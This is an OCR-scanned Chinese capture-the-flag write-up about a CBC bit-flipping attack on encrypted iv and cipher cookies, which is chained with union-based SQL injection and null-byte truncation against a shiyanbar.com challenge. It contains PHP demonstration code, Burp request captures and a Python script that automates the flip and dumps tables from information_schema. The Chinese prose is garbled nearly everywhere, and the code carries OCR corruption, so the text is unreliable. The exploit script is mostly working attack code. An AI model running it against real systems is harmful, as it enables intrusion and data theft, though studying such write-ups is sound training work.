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<?php

define('MY_AES KEY', "abcdef0123456789");

function aes($data, $encrypt,$iv) {
$aes = mcrypt module open(MCRYPT_RIJNDAEL 128, '', MCRYPT_MODE CBC, '');
mcrypt _generic_init($aes, MY_AES KEY, $iv);
return $encrypt ? mcrypt generic($aes,$data) : mdecrypt generic($aes,$data);

define('MY_MAC_LEN', 40);

function encrypt($data,$iv) {

return aes($data, true,$iv);

function decrypt($data,$iv) {
$data = rtrim(aes($data, false,$iv), "\0");

return $data;

"a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
"Plaintext before attack: $v\n";
array();
CIEVIOF
= @encrypt($v,"1234567891234567");
ord($enc[2]).PHP_EOL;
[2] = chr(ord($enc[2]) ~ ord("6") ~ ord ("7"));
$b = @decrypt($enc,"1234567891234567");
"Plaintext AFTER attack : $b\n";
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$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
XE A6/ Mbyte I—HB#AT 2B, FORFEPUINE VA T R X
BLOCK#1:a:2:{s:4:"name";

BLOCK#2: s:6:"sdsdsd";s:8
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#Cipher_Block_#1/ZBLOCK#1/% 3, Cipher Not XOR_#2/ZBLOCK#2H% X A% e RPATRBIBENE X, HAME:
Cipher_Block_#1 XOR Cipher_Not_XOR_#2 = BLOCK#2

BATHEHRBIBAT T EZ SRR 75

Cipher_Block_#1[2] XOR Cipher Not_XOR_#2[2] = BLOCK#2[2] = 6

i, BATA:

Cipher Block_#1[2] XOR Cipher Not_XOR_#2[2] XOR 6=

Q0 XOR 7 =7

UIESR

Cipher Block_#1[2] XOR Cipher Not_XOR_#2[2] XOR 6 XOR 7= 7

BMATES

Cipher_Block_After_Modified#1[2] = Cipher_Block_ #1[2] XOR 6 XOR 7

BEE IS Y BLOCKH2[2]3 N7
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$enc[2] = chr(ord($enc[2]) ~ ord("6") ~ ord ("7"));
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Cipher_Not XOR_Wrong_#1, [, X% H a3 XHATE NBLOCK _Wrong_#1, HATTE LA H ¥ SR IEE AT
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IV XOR Cipher_Not_XOR_Wrong_#1 = BLOCK Wrong_ #1

XERMAGEE EEH—H, RJBRVEEZAFT, FABNE X1 CEMBNES T 71, 2SBRESERIMURT—
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IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK Wrong_ #1= ©

0 XOR BLOCK#1 = BLOCK#1

A

IV XOR Cipher Not XOR_Wrong #1 XOR BLOCK Wrong_ #1 XOR BLOCK#1 =BLOCK#1

BRIMABEBLNV, SHA:

IV_After Modified = IV XOR BLOCK Wrong_ #1 XOR BLOCK#1

BRI — MEIBBUR B0 % SCHAFE I IEW KIS RAVBSoRBIRE, ELREAWTAE:

$iv="1234567891234567";
for ($i=0;%$i<16;%i++)

{
$iv[$i] = chr(ord($b[$i]) ~ ord($iv[$i]) ~ ord($v[$i]));

b
$c = array();

$c = @decrypt($enc,$iv);

echo "Plaintext Third attack : $c\n";
?>
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Response
Raw | Params | Headers | Hex Raw | Headers | Hex | XML

POST fweb/jiandan/indecphp HTTP/L.1 A HTTP/1.1 200 DI
Host: ctf5.shiyanbar.com F Date: Tue, 17 Jul 2018 13:48:20 GMT
User-agent: Mozilla/5.0 (Vindows NT 10.0; Wingd; x64; rv:610) Gecko/20100101 Firefox/61.0 server: Apache/2.4.18 (Win32) OpenssL/1.0.2e PHP/5.5.29
Accept: text/html, application/xhtml +xml, application/xml;q=0.9,*/* q=0.8 ¥-Powered-By: PHP/5.3.29
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7,zh-HI{g=0.5,en-US;q=0.3,en;q=0.2 tips: test. php
Referer. http://ctfs shiyanbar.com/web/jiandan/index.php Set-Cookie: iv=6VFp%e2BGNnulHelaQ58\WHaA%3D%3D
Content-Type: application/z-www-form-urlencoded Set-Cookie: cipher=2%2FccfSvlqylyyXZ3e3dyBhMdjQMVGJUMHLISEiSBevzM263D
Content-Length: 18 Content-Length: 35
Cookie: Hrm_lvt_34d6f7353ab0915a4c58224516dffbe3=1531218651,1531281710,1531801873; Connection: close
Hm_ov_34d6f7353ab0915a4c582e4516dffhci=1*visitor* 16199992 CnickMame?63A3CHO, Content-Type: text/htrml
Hm_lpvt_34d6f7353ab0215a4c582 45 16dffbc3=1531802208 PHPSESSID=0733qebnledn8pgchrhapstigs
Connection: cdlose O=hl= =center= Hellol </center= </h1=
Upgrade-Insecure-Requests: 1
id=128&submit=Login|

BREEATT, MRE—Aid=12. REBRE TivAlcipher. EFARFHRATKIN:

if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))

die("<hl style='color:red'><center>sql inject detected!</center></h1>");
$info = array(' =>$id);
login($info);
echo '<hl><center>Hello!</center></hl1>";

OK, &MTACRFIIMU—TE KM AFET:

<?php
$id="12"
$info= array('id'=>%$id);

echo serialize($info);

?>

PATEERA:

a:1:{s:2:"id";s:2:"12";}

Step2



16 byte A—4H, BT

BLOCK#1:a:1:{s:2:"id";s:

BLOCK#2:2:"12";}

BANSEHcipherf FIBLOCK#1 % XL, (E8BLOCK#2IIMRHGE RN 2:"14" 5}, XHEBAEBAEA # EBE 0 T,

<?php
$cipher="%2FccfSvlqyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D" ;
$cipher=urldecode($cipher);

$cipher=base64 decode($cipher);
$cipher[4]=chr(ord($cipher[4])~ord('2"' ) ord( '#"'));
$cipher=base64 encode($cipher);

$cipher=urlencode($cipher);

echo "$cipher\n";

?>

B cipherA:
%2FccfSuxqyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D
i XA cipherffE, ivANZE, postiiigf.

E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosecwn

Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options I Alerts. I NoPE Proxy ]

1 = |2 =5 | ..
Go Cance < |v > | Target: http:/ctfs.shiy

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]

POST fweb/jiandan/indecphp HTTP/1.1 i HTTP/1.1 200 OK
Host: ctfs.shiyanbar.com " Date: Tue, 17 Jul 2018 13:57:43 GMT
N User-Agent: Mazilla/5.0 (Windows NT 10.0; \Win64; x64; nv:61.0) Gecko 20100101 Server: Apache/2.4.18 (Win32) Opens5L/1.0.2e PHP/5.3.29
Firefon/61.0 #-Powered-By: PHP/5.3.29
Accept: text/html, application/html +xml,application/xml;q=0.9,*/*;q=0.8 tips: test.php
Accept-Language: zh-CM,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-U5q=0.3,en;q=0.2 Content-Length: 77
Cookie: iv=EVFp¥2BGNnulHelaQ58)\WHaAE3D%3D; Connection: close
J[cipher=s62F coFsuxqy ity Lz 3e3dyBhMdj QMY G UMHLISEiBevaM363D; | Content-Type: text/html
Hm_lvt_34dc-.f?3?3.51%;1]5’5a4c582e451c-.dffbc3=1531218_651_.15312'81?10_.1531801873;
Hrm_cv_34d&f7353ab0915a4c582e4516dffbci=1 visitort 16199592 CnickMame?e3A3CH O=p= baseM_decode‘SGm iVmSsfvsAKVpeuwdc NezISIiEiIitS'l can't unserialize </p>

0; Hrm_lpwvt_34d6f7353ab0915a4c582e4516dffhc3=1531802205;
PHPSESSID=9733gebnlédnBpgchrhapstigs

.| Connection: close

Upgrade-Insecure-Requests: 1

MRS EHREIMERIRA B, TEERERFIIN, FARNMBE CHABBE, SR CHR1EME.
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IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
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<?php

$iv = "6VFp%2BGNnuJHeIaQ58jWHaA%3D%3D" ;

$iv = urldecode($iv);

$iv = base64 decode($iv);

$block wrong="8GmiVmSsfvsAKVpeudcNezI6IFEFIjt9";
$block wrong=base64 decode($block wrong);

$block right="a:1:{s:2:\"id\";s:";

for ($i=0;%$i<16;%i++)

{
$iv[$i] = chr(ord($block wrong[$i]) ~ ord($iv[$i]) ~ ord($block_right[$i]));
b
$iv=base64 encode($iv);
$iv=urlencode($iv);
echo "$iv\n";

?>

HER N
eAL61Hy4%2FFjkKpcDadn5KQ%3D%3D
i IXANIVE BB B Wi, BERE

J Raw T Params. [ Headers | Hex J Raw I Headers | Hex | XML ]

POST fweb/jiandan/findecphp HTTP/L1 A HTTP/1.1 200 OK
Host: ctfs.shiyanbar.com - Date: Tue, 17 Jul 2018 14:03:41 GMT

j| User-Agent: Mozilla/5.0 (Windows NT 10.0; Wins4; x64; ne61.0) Gecko /20100101 Server: Apache/2.4.18 (Nin32) OpenS5L/1.0.2e PHP/5.3.29
Firgfox/61.0 ¥-Powered-By: PHP/5.3.29

|| Accept: text/html, application/xhtml +xml,application/fzml;q=0.8,/*,q=0.8 tips: test.php
A C sl il Pl e B i HIC; =05, €N - U S; q=0. 3,20, 9=0.2 Content-Length: 41
CocLie: iv=eAL6IH24%2FF'I*I<JcDadn‘SI(Q%SD%?D'I Connection: close
cipher=2%2F ccf SuxqyldyyXZ deddyBhMd) QMVGIUMHLSEiBevzM323D; Content-Type: text/html
Hrn_lvt_34d&f7353ab0915adc582e4516dfflc3=1531218651,1531281710,1531801873;
Hm_cv_34d6f7353ab0 915 adc5 82245 16dffbei=1"visitor' 16199836 2CnickName?e3A3CH O<hl> <center /center> =/hl>

0; Hm_lpvt_34d6f7353ab0915 adc582 045 16dffbc3 =153 1802908,
PHPSESSID=9733qebnlédn8pgchrh8pstigd

Connection: close

Upgrade-Insecure-Requests: 1

NS
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import requests

import re

from base64 import *

from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_ flag(payload,cbc_flip index,char_in_payload,char_to_replace):
payload = {"id":payload}
r=requests.post(url,data=payload)
iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
cipher=unquote(cipher)
cipher=b64decode(cipher)
cipher list=1list(cipher)

cipher_list[cbc_flip index] = chr(ord(cipher_list[cbc_flip_ index])”ord(char_in_payload)”ord(char_to_replace))

cipher new="'.join(cipher_ list)




cipher _new=b64encode(cipher new)
cipher_new=quote(cipher_new)

cookie = {'iv':iv, 'cipher':cipher_new}
r=requests.post(url, cookies=cookie)

content = r.content

plain_base64=re.findall("base64 decode\(\'(.*?)\'\)",content)[0]

plain=b64decode(plain_base64)

first _block plain="a:1:{s:2:\"id\";s:"
iv=unquote(iv)

iv=b64decode(iv)

iv_list=list(iv)

for i in range(16):

iv_list[i]=chr(ord(plain[i]) ~ ord(iv_list[i]) ”~ ord(first_block plain[i]))

iv_new=""'.join(iv_list)
iv_new=b64encode(iv_new)
iv_new=quote(iv_new)
cookie = {'iv':iv_new, 'cipher':cipher_new}
r=requests.post(url, cookies=cookie)
return r.content
def get_columns_count():
table_name=['a', 'b', 'c', 'd’',
‘u', 'v', 'w', 'x', 'y', 'z',
', 'R', 'S', 'T', 'U', 'V', 'W',
for i in range(len(table_name)):
payload="(select 1)a"
if i==0:

payload = "0 2nion select * from("+payload+");"+chr(0);

content=find_flag(payload,6,'2"','u")
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:

print "table has 1 column and response position is 1"

return payload
else:

print "table does not have %d columns" % (i+1)

continue

for t in range(i):

payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
payload = "@ 2nion select * from("+payload+");"+chr(0);

content=find_flag(payload,6,'2"','u")
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:

print "table has %d column and response position is %s" % (i+1,resp[@][1])

return payload
else:

print "table does not have %d columns" % (i+1)

payload=get_columns_count()

print payload

print find_flag('12',4,'2","'#")

print find_flag('@ 2nion select * from((select
print find_flag('@ 2nion select * from((select
print find_flag('@ 2nion select * from((select
.tables where table_schema regexp database())b
print find_flag("@ 2nion select * from((select
a.columns where table name regexp 'you want')b
print find_flag("@ 2nion select * from((select
,6,'2','u")

get_columns_count

1)a); '+chr(0),6,'2"','u")

1)a join (select 2)b join (select 3)c);'+chr(@),6,'2','u")

1)a join (select group_concat(table_name) from information_schema
join (select 3)c);'+chr(@),7,'2','u")

1)a join (select group_concat(column_name) from information_schem
join (select 3)c);"+chr(@),7,'2','u")

1)a join (select value from you want)b join (select 3)c);"+chr(®0)
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Null bytes related issues

As PHP uses the underlying C functions for filesystem related operations, it may handle null bytes in a quite unexpected way. As null bytes
( denote the end of a string in C, $trings containing them won't be considered entirely but rather only until a null byte occurs. The following
example shows a vulnerable code that demonstrates this problem:

Example #1 Script vulnerable to null bytes

<?php
$file = $_GET['file'l;
if (file_exists('/home/wwwrun/'.$file.".php')) {

include '/home/wwwrun/'.$file.'.php';

?>

E K RphpE PR 2 71 that &2 exee B Ui %0 5 i 24 17 M HIMRE, 2 AR 2 B AphpfE 2 T CiE 5 M B BORBRAE S
R4, ZFHECESBEHRFAFTHENERIE, RELSBUESENTR BB B,

TAEmMysqlER: B 2 —HHIEE, phpfEEEmysqldf 1T EW, FrUCRIEE F#E DBt RCH, FtmamREFT
EN

HERT T —ATmE, REWT:

[ NON lihao — root@XS45251240204: /var/www/phptest — ssh root@3

$host=

$users=

$passworu=

$dbname= :

$id=$_GET[ s

$link=new mysqgli($host, $user, $password, $dbname);

$sql= .$id.
$sql;
$res = $link->query($sql);
if(!$res){
$link->error;



https://www.php.net/manual/en/security.filesystem.nullbytes.php

json_encode(mysqli_
$res->close()}

g.csdn.net/LeeHDsniper

RIEBRMNDERR KA T — N IEHEER http://myserver:8081/index.php?id=root M—AHZFHERRENE
4] http://myserver:8081/index.php?id=root%22;%00 :

& C O AFZE 1. .. 8081hdex.php?id=root

HEHE & EE-T, e - Gt - E51EM.. [« blog.csdn.net [Y http://pent

select user from user where user ="root" and host="%"
{"user":"root"}

& C O &2  FJ- . .8081/index.php?id=root";%00

BHEEEZE % BE-—T, fHmeE & GitHiE - BSIEN.. blog.csdn.net [

select user from user where user ="root";" and host="%"

"user":"root"}

{8 Fwireshark$l— T Ak 55 2% _Emysqlff1 6.

< s g # tshark -s 512 -1 lo -n -f 'tcp dst port 3306’ -T fields -e mysql.query
Running as user "root" and group "root". This could be dangerous.
Capturing on 'Loopback'

select user from user where user ="root" and host="%"

select user from user where user

ALLES, B oREENEAN, sqE#WEA AT F BN T .
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